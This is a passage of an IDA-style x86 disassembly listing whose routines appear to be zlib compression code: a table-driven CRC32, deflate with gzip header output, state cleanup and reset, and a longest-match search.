ebx, edx and edx, ecx shr ebx, 18h xor eax, ds:dword_41C2A0[ebx*4] xor eax, ds:dword_41CEA0[edx*4] xor eax, [esi] add esi, edi mov edx, eax shr edx, 10h movzx ebx, ah and edx, ecx mov edx, ds:dword_41C6A0[edx*4] xor edx, ds:dword_41CAA0[ebx*4] mov ebx, eax and eax, ecx shr ebx, 18h xor edx, ds:dword_41C2A0[ebx*4] xor edx, ds:dword_41CEA0[eax*4] xor edx, [esi] add esi, edi mov eax, edx shr eax, 10h and eax, ecx mov eax, ds:dword_41C6A0[eax*4] movzx ebx, dh xor eax, ds:dword_41CAA0[ebx*4] mov ebx, edx shr ebx, 18h xor eax, ds:dword_41C2A0[ebx*4] and edx, ecx xor eax, ds:dword_41CEA0[edx*4] xor eax, [esi] add esi, edi mov edx, eax shr edx, 10h movzx ebx, ah and edx, ecx mov edx, ds:dword_41C6A0[edx*4] xor edx, ds:dword_41CAA0[ebx*4] mov ebx, eax and eax, ecx sub [ebp+arg_0], 20h shr ebx, 18h xor edx, ds:dword_41C2A0[ebx*4] xor edx, ds:dword_41CEA0[eax*4] xor edx, [esi] add esi, edi mov eax, edx shr eax, 10h and eax, ecx mov eax, ds:dword_41C6A0[eax*4] movzx ebx, dh xor eax, ds:dword_41CAA0[ebx*4] mov ebx, edx shr ebx, 18h xor eax, ds:dword_41C2A0[ebx*4] and edx, ecx xor eax, ds:dword_41CEA0[edx*4] dec [ebp+var_4] jnz loc_40E3E9 loc_40E57E: ; CODE XREF: sub_40E3A1+39j cmp [ebp+arg_0], edi jb short loc_40E5C7 mov edx, [ebp+arg_0] shr edx, 2 mov [ebp+var_4], edx loc_40E58C: ; CODE XREF: sub_40E3A1+224j xor eax, [esi] sub [ebp+arg_0], edi mov edx, eax shr edx, 10h and edx, ecx mov edx, ds:dword_41C6A0[edx*4] movzx ebx, ah xor edx, ds:dword_41CAA0[ebx*4] mov ebx, eax shr ebx, 18h xor edx, ds:dword_41C2A0[ebx*4] and eax, ecx xor edx, ds:dword_41CEA0[eax*4] add esi, edi dec [ebp+var_4] mov eax, edx jnz short loc_40E58C loc_40E5C7: ; CODE XREF: sub_40E3A1+1E0j cmp [ebp+arg_0], 0 jz short loc_40E5E4 loc_40E5CD: ; CODE XREF: sub_40E3A1+241j movzx edx, byte ptr [esi] xor edx, eax and edx, ecx shr eax, 8 xor eax, ds:dword_41C2A0[edx*4] inc esi dec [ebp+arg_0] jnz short loc_40E5CD loc_40E5E4: ; CODE XREF: sub_40E3A1+22Aj pop edi pop esi not eax pop ebx leave retn sub_40E3A1 endp ; =============== S U B R O U T I N E ======================================= sub_40E5EB proc near ; CODE XREF: sub_40E674+8Ap ; sub_40E674+257p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_4] test edx, edx jnz short loc_40E5F6 xor eax, eax retn ; --------------------------------------------------------------------------- loc_40E5F6: ; CODE XREF: sub_40E5EB+6j push [esp+arg_8] mov eax, [esp+4+arg_0] call sub_40E3A1 pop ecx retn sub_40E5EB endp ; =============== S U B R O U T I N E ======================================= sub_40E605 proc near ; CODE XREF: sub_40E674+2D5p ; sub_40E674+2E5p ... push esi mov esi, [eax+8] push edi mov edi, [eax+14h] mov ecx, edx shr ecx, 8 mov [esi+edi], cl inc dword ptr [eax+14h] mov ecx, [eax+14h] mov esi, [eax+8] mov [ecx+esi], dl inc dword ptr [eax+14h] pop edi pop esi retn sub_40E605 endp ; =============== S U B R O U T I N E ======================================= sub_40E627 proc near ; CODE XREF: sub_40E674+34Fp ; sub_40E674+40Fp ... push esi mov esi, eax mov eax, [esi+1Ch] mov ecx, [esi+10h] push edi mov edi, [eax+14h] cmp edi, ecx jbe short loc_40E63A mov edi, ecx loc_40E63A: ; CODE XREF: sub_40E627+Fj test edi, edi jz short loc_40E671 push edi push dword ptr [eax+10h] push dword ptr [esi+0Ch] call sub_40CCF7 mov eax, [esi+1Ch] add [esi+0Ch], edi add [eax+10h], edi add [esi+14h], edi sub [esi+10h], edi mov eax, [esi+1Ch] sub [eax+14h], edi mov esi, [esi+1Ch] add esp, 0Ch cmp dword ptr [esi+14h], 0 jnz short loc_40E671 mov eax, [esi+8] mov [esi+10h], eax loc_40E671: ; CODE XREF: sub_40E627+15j ; sub_40E627+42j pop edi pop esi retn sub_40E627 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E674 proc near ; CODE XREF: sub_40E306+4Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx jz loc_40EDDB mov esi, [edi+1Ch] cmp esi, ebx jz loc_40EDDB mov ecx, [ebp+arg_4] cmp ecx, 4 ja loc_40EDDB cmp [edi+0Ch], ebx jz loc_40EDD3 cmp [edi], ebx jnz short loc_40E6B6 cmp [edi+4], ebx jnz loc_40EDD3 loc_40E6B6: ; CODE XREF: sub_40E674+37j mov eax, [esi+4] cmp eax, 29Ah jnz short loc_40E6C9 cmp ecx, 4 jnz loc_40EDD3 loc_40E6C9: ; CODE XREF: sub_40E674+4Aj cmp [edi+10h], ebx jnz short loc_40E6DD loc_40E6CE: ; CODE XREF: sub_40E674+5C4j ; sub_40E674+5DBj mov eax, ds:off_42026C mov [edi+18h], eax push 0FFFFFFFBh jmp loc_40EDDD ; --------------------------------------------------------------------------- loc_40E6DD: ; CODE XREF: sub_40E674+58j cmp eax, 2Ah mov edx, [esi+28h] mov [esi], edi mov [ebp+var_8], edx mov [esi+28h], ecx jnz loc_40E975 cmp dword ptr [esi+18h], 2 jnz loc_40E8E5 push ebx push ebx push ebx call sub_40E5EB mov [edi+30h], eax mov ecx, [esi+14h] mov eax, [esi+8] mov byte ptr [eax+ecx], 1Fh mov ecx, [esi+8] add esp, 0Ch inc dword ptr [esi+14h] mov eax, [esi+14h] mov byte ptr [eax+ecx], 8Bh inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+8] mov byte ptr [eax+ecx], 8 inc dword ptr [esi+14h] mov eax, [esi+1Ch] cmp eax, ebx mov ecx, [esi+14h] jnz loc_40E7C0 mov eax, [esi+8] mov [ecx+eax], bl inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+8] mov [eax+ecx], bl inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+8] mov [eax+ecx], bl inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+8] mov [eax+ecx], bl inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+8] mov [eax+ecx], bl inc dword ptr [esi+14h] mov eax, [esi+84h] cmp eax, 9 mov ecx, [esi+14h] jnz short loc_40E789 push 2 jmp short loc_40E79D ; --------------------------------------------------------------------------- loc_40E789: ; CODE XREF: sub_40E674+10Fj cmp dword ptr [esi+88h], 2 jge short loc_40E79B cmp eax, 2 jl short loc_40E79B xor eax, eax jmp short loc_40E79E ; --------------------------------------------------------------------------- loc_40E79B: ; CODE XREF: sub_40E674+11Cj ; sub_40E674+121j push 4 loc_40E79D: ; CODE XREF: sub_40E674+113j pop eax loc_40E79E: ; CODE XREF: sub_40E674+125j mov edx, [esi+8] mov [ecx+edx], al inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+8] mov byte ptr [eax+ecx], 0Bh inc dword ptr [esi+14h] mov dword ptr [esi+4], 71h jmp loc_40E975 ; --------------------------------------------------------------------------- loc_40E7C0: ; CODE XREF: sub_40E674+C4j cmp [eax+24h], ebx setz dl dec dl and edx, 10h cmp [eax+2Ch], ebx setz bl dec bl and ebx, 2 add dl, bl cmp dword ptr [eax+1Ch], 0 setz bl dec bl and ebx, 8 add dl, bl cmp dword ptr [eax+10h], 0 setz bl dec bl and ebx, 4 add dl, bl xor ebx, ebx cmp [eax], ebx setnz al add dl, al mov eax, [esi+8] mov [ecx+eax], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+1Ch] mov cl, [ecx+4] mov edx, [esi+8] mov [eax+edx], cl inc dword ptr [esi+14h] mov eax, [esi+14h] mov ecx, [esi+1Ch] mov cl, [ecx+5] mov edx, [esi+8] mov [eax+edx], cl inc dword ptr [esi+14h] mov ecx, [esi+1Ch] mov cl, [ecx+6] mov eax, [esi+14h] mov edx, [esi+8] mov [eax+edx], cl inc dword ptr [esi+14h] mov ecx, [esi+1Ch] mov eax, [esi+14h] mov cl, [ecx+7] mov edx, [esi+8] mov [eax+edx], cl inc dword ptr [esi+14h] mov eax, [esi+84h] cmp eax, 9 mov ecx, [esi+14h] jnz short loc_40E860 push 2 jmp short loc_40E874 ; --------------------------------------------------------------------------- loc_40E860: ; CODE XREF: sub_40E674+1E6j cmp dword ptr [esi+88h], 2 jge short loc_40E872 cmp eax, 2 jl short loc_40E872 xor eax, eax jmp short loc_40E875 ; --------------------------------------------------------------------------- loc_40E872: ; CODE XREF: sub_40E674+1F3j ; sub_40E674+1F8j push 4 loc_40E874: ; CODE XREF: sub_40E674+1EAj pop eax loc_40E875: ; CODE XREF: sub_40E674+1FCj mov edx, [esi+8] mov [ecx+edx], al inc dword ptr [esi+14h] mov ecx, [esi+1Ch] mov eax, [esi+14h] mov cl, [ecx+0Ch] mov edx, [esi+8] mov [eax+edx], cl inc dword ptr [esi+14h] mov eax, [esi+1Ch] cmp [eax+10h], ebx mov ecx, [esi+14h] jz short loc_40E8BC mov al, [eax+14h] mov edx, [esi+8] mov [ecx+edx], al inc dword ptr [esi+14h] mov ecx, [esi+1Ch] mov cl, [ecx+15h] mov eax, [esi+14h] mov edx, [esi+8] mov [eax+edx], cl inc dword ptr [esi+14h] mov ecx, [esi+14h] loc_40E8BC: ; CODE XREF: sub_40E674+225j mov eax, [esi+1Ch] cmp [eax+2Ch], ebx jz short loc_40E8D6 push ecx push dword ptr [esi+8] push dword ptr [edi+30h] call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40E8D6: ; CODE XREF: sub_40E674+24Ej mov [esi+20h], ebx mov dword ptr [esi+4], 45h jmp loc_40E975 ; --------------------------------------------------------------------------- loc_40E8E5: ; CODE XREF: sub_40E674+81j mov ecx, [esi+30h] sub ecx, 8 shl ecx, 0Ch add ecx, 800h cmp dword ptr [esi+88h], 2 jge short loc_40E920 mov eax, [esi+84h] cmp eax, 2 jl short loc_40E920 cmp eax, 6 jge short loc_40E912 xor eax, eax inc eax jmp short loc_40E922 ; --------------------------------------------------------------------------- loc_40E912: ; CODE XREF: sub_40E674+297j xor edx, edx cmp eax, 6 setnz dl inc edx inc edx mov eax, edx jmp short loc_40E922 ; --------------------------------------------------------------------------- loc_40E920: ; CODE XREF: sub_40E674+287j ; sub_40E674+292j xor eax, eax loc_40E922: ; CODE XREF: sub_40E674+29Cj ; sub_40E674+2AAj shl eax, 6 or ecx, eax cmp [esi+6Ch], ebx jz short loc_40E92F or ecx, 20h loc_40E92F: ; CODE XREF: sub_40E674+2B6j xor edx, edx push 1Fh pop ebx mov eax, ecx div ebx mov dword ptr [esi+4], 71h mov eax, edx mov edx, ecx sub edx, eax add edx, ebx mov eax, esi call sub_40E605 xor ebx, ebx cmp [esi+6Ch], ebx jz short loc_40E967 movzx edx, word ptr [edi+32h] call sub_40E605 movzx edx, word ptr [edi+30h] call sub_40E605 loc_40E967: ; CODE XREF: sub_40E674+2DFj push ebx push ebx push ebx call sub_40E0E6 add esp, 0Ch mov [edi+30h], eax loc_40E975: ; CODE XREF: sub_40E674+77j ; sub_40E674+147j ... cmp dword ptr [esi+4], 45h jnz loc_40EA37 mov eax, [esi+1Ch] cmp [eax+10h], ebx jz loc_40EA30 mov ecx, [esi+14h] mov [ebp+arg_0], ecx jmp short loc_40E9F0 ; --------------------------------------------------------------------------- loc_40E993: ; CODE XREF: sub_40E674+383j mov eax, [esi+14h] cmp eax, [esi+0Ch] jnz short loc_40E9D3 mov ecx, [esi+1Ch] cmp [ecx+2Ch], ebx jz short loc_40E9C1 cmp eax, [ebp+arg_0] jbe short loc_40E9C1 sub eax, [ebp+arg_0] push eax mov eax, [esi+8] add eax, [ebp+arg_0] push eax push dword ptr [edi+30h] call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40E9C1: ; CODE XREF: sub_40E674+32Dj ; sub_40E674+332j mov eax, edi call sub_40E627 mov eax, [esi+14h] cmp eax, [esi+0Ch] mov [ebp+arg_0], eax jz short loc_40E9F9 loc_40E9D3: ; CODE XREF: sub_40E674+325j mov ecx, [esi+1Ch] mov ecx, [ecx+10h] mov edx, [esi+20h] mov cl, [ecx+edx] mov ebx, [esi+8] mov [eax+ebx], cl inc dword ptr [esi+14h] inc dword ptr [esi+20h] mov eax, [esi+1Ch] xor ebx, ebx loc_40E9F0: ; CODE XREF: sub_40E674+31Dj movzx eax, word ptr [eax+14h] cmp [esi+20h], eax jb short loc_40E993 loc_40E9F9: ; CODE XREF: sub_40E674+35Dj mov eax, [esi+1Ch] cmp [eax+2Ch], ebx jz short loc_40EA22 mov eax, [esi+14h] cmp eax, [ebp+arg_0] jbe short loc_40EA22 sub eax, [ebp+arg_0] push eax mov eax, [esi+8] add eax, [ebp+arg_0] push eax push dword ptr [edi+30h] call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40EA22: ; CODE XREF: sub_40E674+38Bj ; sub_40E674+393j mov eax, [esi+1Ch] mov ecx, [esi+20h] cmp ecx, [eax+14h] jnz short loc_40EA37 mov [esi+20h], ebx loc_40EA30: ; CODE XREF: sub_40E674+311j mov dword ptr [esi+4], 49h loc_40EA37: ; CODE XREF: sub_40E674+305j ; sub_40E674+3B7j cmp dword ptr [esi+4], 49h jnz loc_40EAF5 mov eax, [esi+1Ch] cmp [eax+1Ch], ebx jz loc_40EAEE mov eax, [esi+14h] mov [ebp+arg_0], eax loc_40EA53: ; CODE XREF: sub_40E674+43Ej mov eax, [esi+14h] cmp eax, [esi+0Ch] jnz short loc_40EA93 mov ecx, [esi+1Ch] cmp [ecx+2Ch], ebx jz short loc_40EA81 cmp eax, [ebp+arg_0] jbe short loc_40EA81 sub eax, [ebp+arg_0] push eax mov eax, [esi+8] add eax, [ebp+arg_0] push eax push dword ptr [edi+30h] call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40EA81: ; CODE XREF: sub_40E674+3EDj ; sub_40E674+3F2j mov eax, edi call sub_40E627 mov eax, [esi+14h] cmp eax, [esi+0Ch] mov [ebp+arg_0], eax jz short loc_40EAB6 loc_40EA93: ; CODE XREF: sub_40E674+3E5j mov ecx, [esi+20h] mov edx, [esi+1Ch] mov edx, [edx+1Ch] movzx edx, byte ptr [edx+ecx] inc ecx mov [esi+20h], ecx mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] cmp edx, ebx mov [ebp+var_4], edx jnz short loc_40EA53 jmp short loc_40EABD ; --------------------------------------------------------------------------- loc_40EAB6: ; CODE XREF: sub_40E674+41Dj mov [ebp+var_4], 1 loc_40EABD: ; CODE XREF: sub_40E674+440j mov eax, [esi+1Ch] cmp [eax+2Ch], ebx jz short loc_40EAE6 mov eax, [esi+14h] cmp eax, [ebp+arg_0] jbe short loc_40EAE6 sub eax, [ebp+arg_0] push eax mov eax, [esi+8] add eax, [ebp+arg_0] push eax push dword ptr [edi+30h] call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40EAE6: ; CODE XREF: sub_40E674+44Fj ; sub_40E674+457j cmp [ebp+var_4], ebx jnz short loc_40EAF5 mov [esi+20h], ebx loc_40EAEE: ; CODE XREF: sub_40E674+3D3j mov dword ptr [esi+4], 5Bh loc_40EAF5: ; CODE XREF: sub_40E674+3C7j ; sub_40E674+475j cmp dword ptr [esi+4], 5Bh jnz loc_40EBB0 mov eax, [esi+1Ch] cmp [eax+24h], ebx jz loc_40EBA9 mov eax, [esi+14h] mov [ebp+arg_0], eax loc_40EB11: ; CODE XREF: sub_40E674+4FCj mov eax, [esi+14h] cmp eax, [esi+0Ch] jnz short loc_40EB51 mov ecx, [esi+1Ch] cmp [ecx+2Ch], ebx jz short loc_40EB3F cmp eax, [ebp+arg_0] jbe short loc_40EB3F sub eax, [ebp+arg_0] push eax mov eax, [esi+8] add eax, [ebp+arg_0] push eax push dword ptr [edi+30h] call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40EB3F: ; CODE XREF: sub_40E674+4ABj ; sub_40E674+4B0j mov eax, edi call sub_40E627 mov eax, [esi+14h] cmp eax, [esi+0Ch] mov [ebp+arg_0], eax jz short loc_40EB74 loc_40EB51: ; CODE XREF: sub_40E674+4A3j mov ecx, [esi+20h] mov edx, [esi+1Ch] mov edx, [edx+24h] movzx edx, byte ptr [edx+ecx] inc ecx mov [esi+20h], ecx mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] cmp edx, ebx mov [ebp+var_4], edx jnz short loc_40EB11 jmp short loc_40EB7B ; --------------------------------------------------------------------------- loc_40EB74: ; CODE XREF: sub_40E674+4DBj mov [ebp+var_4], 1 loc_40EB7B: ; CODE XREF: sub_40E674+4FEj mov eax, [esi+1Ch] cmp [eax+2Ch], ebx jz short loc_40EBA4 mov eax, [esi+14h] cmp eax, [ebp+arg_0] jbe short loc_40EBA4 sub eax, [ebp+arg_0] push eax mov eax, [esi+8] add eax, [ebp+arg_0] push eax push dword ptr [edi+30h] call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40EBA4: ; CODE XREF: sub_40E674+50Dj ; sub_40E674+515j cmp [ebp+var_4], ebx jnz short loc_40EBB0 loc_40EBA9: ; CODE XREF: sub_40E674+491j mov dword ptr [esi+4], 67h loc_40EBB0: ; CODE XREF: sub_40E674+485j ; sub_40E674+533j cmp dword ptr [esi+4], 67h jnz short loc_40EC0A mov eax, [esi+1Ch] cmp [eax+2Ch], ebx jz short loc_40EC03 mov eax, [esi+14h] inc eax inc eax cmp eax, [esi+0Ch] jbe short loc_40EBCF mov eax, edi call sub_40E627 loc_40EBCF: ; CODE XREF: sub_40E674+552j mov eax, [esi+14h] lea ecx, [eax+2] cmp ecx, [esi+0Ch] ja short loc_40EC0A mov dl, [edi+30h] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+31h] mov ecx, [esi+8] push ebx push ebx mov [eax+ecx], dl inc dword ptr [esi+14h] push ebx call sub_40E5EB add esp, 0Ch mov [edi+30h], eax loc_40EC03: ; CODE XREF: sub_40E674+548j mov dword ptr [esi+4], 71h loc_40EC0A: ; CODE XREF: sub_40E674+540j ; sub_40E674+564j cmp [esi+14h], ebx jz short loc_40EC26 mov eax, edi call sub_40E627 cmp [edi+10h], ebx jnz short loc_40EC3D loc_40EC1B: ; CODE XREF: sub_40E674+682j ; sub_40E674+75Aj or dword ptr [esi+28h], 0FFFFFFFFh loc_40EC1F: ; CODE XREF: sub_40E674+68Cj ; sub_40E674+754j xor eax, eax jmp loc_40EDDE ; --------------------------------------------------------------------------- loc_40EC26: ; CODE XREF: sub_40E674+599j cmp [edi+4], ebx jnz short loc_40EC3D mov ecx, [ebp+arg_4] cmp ecx, [ebp+var_8] jg short loc_40EC40 cmp ecx, 4 jz short loc_40EC40 jmp loc_40E6CE ; --------------------------------------------------------------------------- loc_40EC3D: ; CODE XREF: sub_40E674+5A5j ; sub_40E674+5B5j mov ecx, [ebp+arg_4] loc_40EC40: ; CODE XREF: sub_40E674+5BDj ; sub_40E674+5C2j mov eax, [esi+4] cmp eax, 29Ah jnz short loc_40EC54 cmp [edi+4], ebx jz short loc_40EC59 jmp loc_40E6CE ; --------------------------------------------------------------------------- loc_40EC54: ; CODE XREF: sub_40E674+5D4j cmp [edi+4], ebx jnz short loc_40EC71 loc_40EC59: ; CODE XREF: sub_40E674+5D9j cmp [esi+74h], ebx jnz short loc_40EC71 cmp ecx, ebx jz loc_40ECFC cmp eax, 29Ah jz loc_40ECFC loc_40EC71: ; CODE XREF: sub_40E674+5E3j ; sub_40E674+5E8j mov eax, [esi+84h] push [ebp+arg_4] imul eax, 0Ch push esi call ds:off_41E2E0[eax] cmp eax, 2 pop ecx pop ecx jz short loc_40EC90 cmp eax, 3 jnz short loc_40EC97 loc_40EC90: ; CODE XREF: sub_40E674+615j mov dword ptr [esi+4], 29Ah loc_40EC97: ; CODE XREF: sub_40E674+61Aj cmp eax, ebx jz loc_40EDC5 cmp eax, 2 jz loc_40EDC5 cmp eax, 1 jnz short loc_40ECFC cmp [ebp+arg_4], eax jnz short loc_40ECBB push esi call sub_412BF6 pop ecx jmp short loc_40ECEC ; --------------------------------------------------------------------------- loc_40ECBB: ; CODE XREF: sub_40E674+63Cj push ebx push ebx push ebx push esi call sub_412B6B add esp, 10h cmp [ebp+arg_4], 3 jnz short loc_40ECEC mov eax, [esi+4Ch] mov ecx, [esi+44h] mov [ecx+eax*2-2], bx mov eax, [esi+4Ch] lea eax, [eax+eax-2] push eax push ebx push dword ptr [esi+44h] call sub_40CCD9 add esp, 0Ch loc_40ECEC: ; CODE XREF: sub_40E674+645j ; sub_40E674+657j mov eax, edi call sub_40E627 cmp [edi+10h], ebx jz loc_40EC1B loc_40ECFC: ; CODE XREF: sub_40E674+5ECj ; sub_40E674+5F7j ... cmp [ebp+arg_4], 4 jnz loc_40EC1F mov eax, [esi+18h] cmp eax, ebx jg short loc_40ED15 xor eax, eax inc eax jmp loc_40EDDE ; --------------------------------------------------------------------------- loc_40ED15: ; CODE XREF: sub_40E674+697j cmp eax, 2 jnz short loc_40ED94 mov ecx, [esi+14h] mov dl, [edi+30h] mov eax, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+31h] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+32h] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+33h] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+8] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+9] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+0Ah] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] mov eax, [esi+14h] mov dl, [edi+0Bh] mov ecx, [esi+8] mov [eax+ecx], dl inc dword ptr [esi+14h] jmp short loc_40EDA8 ; --------------------------------------------------------------------------- loc_40ED94: ; CODE XREF: sub_40E674+6A4j movzx edx, word ptr [edi+32h] mov eax, esi call sub_40E605 movzx edx, word ptr [edi+30h] call sub_40E605 loc_40EDA8: ; CODE XREF: sub_40E674+71Ej mov eax, edi call sub_40E627 mov eax, [esi+18h] cmp eax, ebx jle short loc_40EDBB neg eax mov [esi+18h], eax loc_40EDBB: ; CODE XREF: sub_40E674+740j xor eax, eax cmp [esi+14h], ebx setz al jmp short loc_40EDDE ; --------------------------------------------------------------------------- loc_40EDC5: ; CODE XREF: sub_40E674+625j ; sub_40E674+62Ej cmp [edi+10h], ebx jnz loc_40EC1F jmp loc_40EC1B ; --------------------------------------------------------------------------- loc_40EDD3: ; CODE XREF: sub_40E674+2Fj ; sub_40E674+3Cj ... mov eax, ds:off_420260 mov [edi+18h], eax loc_40EDDB: ; CODE XREF: sub_40E674+Fj ; sub_40E674+1Aj ... push 0FFFFFFFEh loc_40EDDD: ; CODE XREF: sub_40E674+64j pop eax loc_40EDDE: ; CODE XREF: sub_40E674+5ADj ; sub_40E674+69Cj ... pop edi pop esi pop ebx leave retn sub_40E674 endp ; =============== S U B R O U T I N E ======================================= sub_40EDE3 proc near ; CODE XREF: sub_40E306+60p ; sub_40E306+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi push edi jz loc_40EE8A mov eax, [esi+1Ch] test eax, eax jz loc_40EE8A mov edi, [eax+4] cmp edi, 2Ah jz short loc_40EE25 cmp edi, 45h jz short loc_40EE25 cmp edi, 49h jz short loc_40EE25 cmp edi, 5Bh jz short loc_40EE25 cmp edi, 67h jz short loc_40EE25 cmp edi, 71h jz short loc_40EE25 cmp edi, 29Ah jnz short loc_40EE8A loc_40EE25: ; CODE XREF: sub_40EDE3+1Fj ; sub_40EDE3+24j ... mov eax, [eax+8] test eax, eax jz short loc_40EE35 push eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx loc_40EE35: ; CODE XREF: sub_40EDE3+47j mov eax, [esi+1Ch] mov eax, [eax+44h] test eax, eax jz short loc_40EE48 push eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx loc_40EE48: ; CODE XREF: sub_40EDE3+5Aj mov eax, [esi+1Ch] mov eax, [eax+40h] test eax, eax jz short loc_40EE5B push eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx loc_40EE5B: ; CODE XREF: sub_40EDE3+6Dj mov eax, [esi+1Ch] mov eax, [eax+38h] test eax, eax jz short loc_40EE6E push eax push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx pop ecx loc_40EE6E: ; CODE XREF: sub_40EDE3+80j push dword ptr [esi+1Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] and dword ptr [esi+1Ch], 0 cmp edi, 71h pop ecx pop ecx jnz short loc_40EE86 push 0FFFFFFFDh jmp short loc_40EE8C ; --------------------------------------------------------------------------- loc_40EE86: ; CODE XREF: sub_40EDE3+9Dj xor eax, eax jmp short loc_40EE8D ; --------------------------------------------------------------------------- loc_40EE8A: ; CODE XREF: sub_40EDE3+8j ; sub_40EDE3+13j ... push 0FFFFFFFEh loc_40EE8C: ; CODE XREF: sub_40EDE3+A1j pop eax loc_40EE8D: ; CODE XREF: sub_40EDE3+A5j pop edi pop esi retn sub_40EDE3 endp ; =============== S U B R O U T I N E ======================================= sub_40EE90 proc near ; CODE XREF: sub_40FA03+77p mov eax, [esi+2Ch] mov ecx, [esi+44h] add eax, eax mov [esi+3Ch], eax mov eax, [esi+4Ch] push edi xor edi, edi mov [ecx+eax*2-2], di mov eax, [esi+4Ch] lea eax, [eax+eax-2] push eax push edi push dword ptr [esi+44h] call sub_40CCD9 mov eax, [esi+84h] imul eax, 0Ch movzx ecx, ds:word_41E2DA[eax] mov [esi+80h], ecx movzx ecx, ds:word_41E2D8[eax] mov [esi+8Ch], ecx movzx ecx, ds:word_41E2DC[eax] add esp, 0Ch mov [esi+90h], ecx movzx eax, ds:word_41E2DE[eax] push 2 mov [esi+7Ch], eax pop eax mov [esi+6Ch], edi mov [esi+5Ch], edi mov [esi+74h], edi mov [esi+68h], edi mov [esi+48h], edi mov [esi+78h], eax mov [esi+60h], eax pop edi retn sub_40EE90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EF0E proc near ; CODE XREF: .text:0040F3FDp ; .text:0040F70Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, [ecx+7Ch] mov edx, [ecx+38h] mov [ebp+var_8], eax mov eax, [ecx+90h] push ebx push esi mov esi, [ecx+6Ch] mov [ebp+var_C], eax mov eax, [ecx+2Ch] lea ebx, [eax-106h] add edx, esi cmp esi, ebx push edi mov edi, [ecx+78h] jbe short loc_40EF4B sub esi, eax add esi, 106h mov [ebp+var_10], esi jmp short loc_40EF4F ; --------------------------------------------------------------------------- loc_40EF4B: ; CODE XREF: sub_40EF0E+2Ej and [ebp+var_10], 0 loc_40EF4F: ; CODE XREF: sub_40EF0E+3Bj cmp edi, [ecx+8Ch] lea eax, [edx+102h] mov [ebp+var_14], eax mov al, [edi+edx-1] mov [ebp+var_1], al mov al, [edi+edx] mov [ebp+var_2], al jb short loc_40EF71 shr [ebp+var_8], 2 loc_40EF71: ; CODE XREF: sub_40EF0E+5Dj mov eax, [ecx+74h] cmp [ebp+var_C], eax jbe short loc_40EF7C mov [ebp+var_C], eax loc_40EF7C: ; CODE XREF: sub_40EF0E+69j mov eax, [ebp+arg_0] loc_40EF7F: ; CODE XREF: sub_40EF0E+131j mov esi, [ecx+38h] add esi, eax mov al, [ebp+var_2] cmp [esi+edi], al jnz loc_40F027 mov al, [ebp+var_1] cmp [esi+edi-1], al jnz loc_40F027 mov al, [esi] cmp al, [edx] jnz loc_40F027 inc esi mov al, [esi] cmp al, [edx+1] jnz short loc_40F027 mov ebx, [ebp+var_14] inc edx inc edx inc esi loc_40EFB5: ; CODE XREF: sub_40EF0E+E9j inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 inc edx mov al, [edx] inc esi cmp al, [esi] jnz short loc_40EFF9 cmp edx, ebx jb short loc_40EFB5 loc_40EFF9: ; CODE XREF: sub_40EF0E+ADj ; sub_40EF0E+B5j ... mov eax, edx sub eax, ebx add eax, 102h cmp eax, edi lea edx, [ebx-102h] jle short loc_40F027 cmp eax, [ebp+var_C] mov esi, [ebp+arg_0] mov [ecx+70h], 